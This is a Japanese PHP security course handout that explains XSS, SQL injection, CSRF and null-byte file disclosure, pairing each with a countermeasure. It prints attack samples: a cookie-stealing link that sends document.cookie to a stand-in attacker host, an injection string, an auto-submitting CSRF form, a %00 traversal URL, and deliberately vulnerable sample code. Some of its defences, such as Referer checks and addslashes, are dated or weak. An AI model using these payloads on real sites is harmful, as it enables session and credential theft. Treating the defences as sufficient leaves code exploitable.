forever 朝活

php 講座　セキュリティの巻

株式会社フォーエバー

【目次】

php のセキュリティ

php はセキュリティが甘いといわれます。なぜでしょう。

あぶないこととは？

php で、攻撃をするというより、php が標的になることが多いのですが、その攻撃方法のほとんどは javascript です。つまり、おそろしいのは javascript の方です。

php 自体に虚弱性が認められている場合もあります。それは、古いバージョンの php です。バージョン 4.3.9 以下は致命的な虚弱性をもっていますので、使用しないでください。みなさんが勉強に使用したのはバージョン 5.0.5 以降ですので、安心してください。しかし、使い方を間違えば、いつでも攻撃の標的にされてしまいます。

教科書で、ならったセキュリティはどんなものがあったか思い出してみましょう。

htmlspecialchars ()

まず最初に思い出すのは、htmlspecialchars()でしょう。
これは、ユーザーが入力したものを画面に表示するときには必ず付けるようにと言われました。
なぜ、ユーザーの入力の時にこのファンクションが必要なのでしょう。
多くのプログラマは、自分で悪さをしようと考えていませんので、文字の入力が恐ろしいとは考えません。しかし、世の中は、優しい人ばかりではありません。

次のようなプログラムは、書いてしまいがちです。

```
print ($_GET['abc']);
```

これがすでに危ないコーディングです。
もしも、input type ="text"の入力エリアに次のように入力され、それがデータベースに保存され、表示されたらどうなるでしょう。

```
<script>location.href="http://www.yahoo.co.jp";</script>
```

その掲示板は、もう表示されなくなり、yahoo の画面が表示されるようになります。
そして、もし犯人がブラウザ経由でワームに感染するをサイトを作っておいて、そこにジャンプさせるようにしていたら、、、、

このような攻撃を Script Insertion といいます。

そして、それを行わせない防御方法が、

```
print (htmlspecialchars($_GET[‘abc’],ENT_QUOTES,’UTF-8’);
```

なのです。これを行うと、スクリプトやタブは文字列として表示されるだけで、実行されなくなるので、安全になるのです。しかし、これだけで絶対大丈夫とはいきません。

危険なコードのサンプルです。Yahoo に飛ばしてみよう。

```
<?php
//不要なエラー表示を止める　おまじない
error_reporting(E_ALL ^ ~E_NOTICE ^ ~E_DEPRECATED);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
        <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
        <title></title>
</head>
<body>
<p>
先ほどの入力:
<?php
print($_GET['abc']);
?>
</p>
<form action="" method="GET">
<input type="text" name="abc"/>
<input type="submit" value="送信" />
</form>
</body>
</html>
```

クロスサイトスクリプティング

攻撃手法の一つにクロスサイトスクリプティングというものがあります。これは、サイトをまたいで攻撃するものです。たとえば、こんな風です。

あなたは、ある掲示板に会員登録しました。かつて作った Twitter 風掲示板でもかまいません。その掲示板ではクッキーを使って次のログインが楽になるようにしてあるとしましょう。するとそれに使ったブラウザには、ＩＤとパスワードが登録されています。

ある日あなたは、別の掲示板を見に行きました。すると「たった五分であなたも虜。百田さんの最新小説の発売前情報」と書いたメッセージを見かけました。リンクに飛んでみると、２年ほど前の情報でした。それなら知っていたあなたは、戻るというリンクを押しました。

すると、ぜんぜん別のページに飛んでいきました。頭をひねって結局もとの掲示板のブックマークをたどってもとに戻りました。

しかし、翌日、自分が書いた覚えがないメッセージが自分のアカウントで書き込まれていました。えええ！

なにが起こったのでしょうか。それはあの「戻る」リンクに罠が仕掛けてあったのです。
あの「戻る」にはこんな仕掛けがありました。

```
<a
href=”http://warumono.com/itadaki.php?message=%3Cscript%3Edocument.location%3D%27http%3A//warumono/cookie/%3F%27%2Bdocument.cookie;%3C/script%3E>戻る</a>”
```

これは

```
<a
href=http://warumono.com/itadaki.php?message=<script>document.location=’http://warumono.com/cookie/?’+document.cookie;</script>>戻る</a>
```

と書かれているのと同じです。

これが実行されると、warumono.com のアクセスログに、次のような足跡が残ります。

```
210.119.2.356 - - [28/Jan/2014:06:35:44 +0900] “GET
/cookie/?email=abc@aell.jp;%20password=123456 HTTP/1.1” 404 1483
```

つまり、このＩＰアドレスからアクセスしている人は掲示板で email は abc@aell.jp、パスワードは 123456 でログインする人だということがばれてしまったわけです。Itadaki.php という php に message の GET データが飛んでいきます。その中身は document.cookie です。この itadaki.php は存在してもしなくてもかまいません。そのサーバーへのログが残ればいいのです。

別のサイトを経由することによって、犯人の好きな javascript が実行されてしまい、その人しか使わないはずのクッキー情報が抜き取られてしまったのです。

このアクセス情報は xampp でも見られます。Xampp¥apache¥logs¥access.log です。見てみましょう。

さて、この攻撃からどうやって掲示板を守ったらいいでしょう。

さきほどの、htmlspecialchars を使ってタブを無害化すると、掲示板にリンクを張ることができなくなりますが、おかしなページに誘導されることはなくなります。
少し、さびしいですが。

さきほどの sample1.php に

```
<script>alert(document.cookie);</script>
```

と入力してみよう。

SQL インジェクション

これも教科書でやりました。

```
$sql=sprint("SELECT * FROM test_table WHERE password='%s'", $_GET['password']);
```

となっているときに、パスワードとして

```
' OR ''='
```

が入力されると、

```
SELECT * FROM test_table WHERE password='' OR ''=''
```

となってしまう。というものです。これだとパスワードがなんであっても OR の true が成立してしますので、結果が全部返ってきてしまいます。

また DELETE に対して行うと、すべて消えてしまうということが発生します。

教科書では、 mysql_real_escape_string()で無害化するようにしています。

他にも方法があります。整数の値に対しては、intval()で囲む、実数に対しては、doubleval()で囲む、文字列に対しては addslashes()で囲むという方法です。こちらの方がスピードが速いようです。

教科書で使ったデータベースは Mysql でした。これは複数行のクアリを実行することができません。しかし他のデータベースたとえば postgreSQL や SQLite は複数行可能です。そうすると;（セミコロン）で区切ってしまえば、後はなんとでも書けてしまいます。

CSRF 攻撃 （クロス・スクリプト・リクエスト・フォージャリー）

これは、攻撃に知識が必要です。また、そのサイトの管理者に踏ませないといけません。
まず自分の WEB サイトに偽の POST フォームを作っておきます。

そのフォームから、偽の POST データを送って、リクエストを実行させてしまおうというものです。

たとえば、あなたが良く行く掲示板サイトで自分が非難されたとして、そのメッセージを消そうとしたとしましょう。しかし、削除は書いた本人または管理者しかできないようになっているでしょう。

そこで、管理人にメールを送って、次のようなフォームを実行させたとしましょう。

```
<html>
<body onload=”document.csrf1.submit();”>
<form action=”http://www.mini_bbs/delete.php” method=”POST” name=”csrf1”>
<input type=”hidden” name=”id” value=”135” />
<input type=”hidden” name=”delete” value=”1” />
</form>
</body>
</html>
```

そして、クッキーに管理者の ID、パスワードが入っていて、自動で補完されて、次のようなコーディングがされていたら、

```
If (!empty($_POST[‘delete’])) {
    $sql = “DELETE FROM posts WHERE id=”.$_POST[‘id’];
    Mysql_query($sql);
}
```

135 番のメッセージが消えてしまいます。

なにを POST しているかわからなければ実行はできないのですが、何回かチェンスがあれば、色々切り替えてやるうちに POST しているものが、ばれてしまうでしょう。

これを防ぐにはどうしらたいいでしょう。それは別の場所から POST されてきたものは受けなければいいのです。

```
$myplace = ‘http://www.mini_bbs/delete.php’;
If (strncmp(@$_SERVER[‘HTTP_REFERER’], $myplace, strlen($myplace))) {
        Unset($_POST);
}
```

このようにすると、呼び元が自分でないと、POST データを捨ててしまうので、安全です。

$_SERVER[‘HTTP_REFERER’]には、このページのデータがどこから来たかが保存されています。

その他の危険なコード

教科書で readfile()関数をやりました。これは、指定したファイル内容を表示するものです。たとえば、拡張子が txt だったら表示するというコードを書いていたとします。

```
If(substr($_GET[‘data_file’],-3)==’txt’) {
        Readfile(basename($_GET[‘data_file’]));
}
```

このソースにこのような url を送ると

```
http://www.mini_bbs/info.php?data_file=index.php%00txt
```

たしかに最後の３文字は txt ですからこれは通ります。しかしよく見ると%00 という NULL データが途中に入っています。すると basename()関数は%00 から後ろを無視するので、index.php の

中身が画面に表示されてしまいます。c 言語などは%00 が来るとそれ以降を無視するようになっています。

%00 以降に Set-Cookie などのコードを入れておいて実行させ、セッション ID を自分が指定したものに書き換えて、セッションをのっとることができます。

対策としては、$_GET や$_POST の中身を利用する前に¥0 のデータを消してから利用する方法があります。

```
$data_file = str_replace("¥0","",$_GET['data_file']);
```

また、php ファイルをアップロードして、それを実行してしまうこともできます。普通は jpg のチェックをしますが、それがない場合は php をアップできてしまうわけで、そのアドレスを入力されれば php を実行できてしまいます。おそろしいです。

forever 朝活　php 講座

2014 年 1 月 20 日　初版発行

著作/制作：株式会社フォーエバー

〒890-0053　鹿児島市中央町 22-16 アエールプラザ 4F

TEL:099-296-9118　FAX：099-250-2333　http://www.forever.co.jp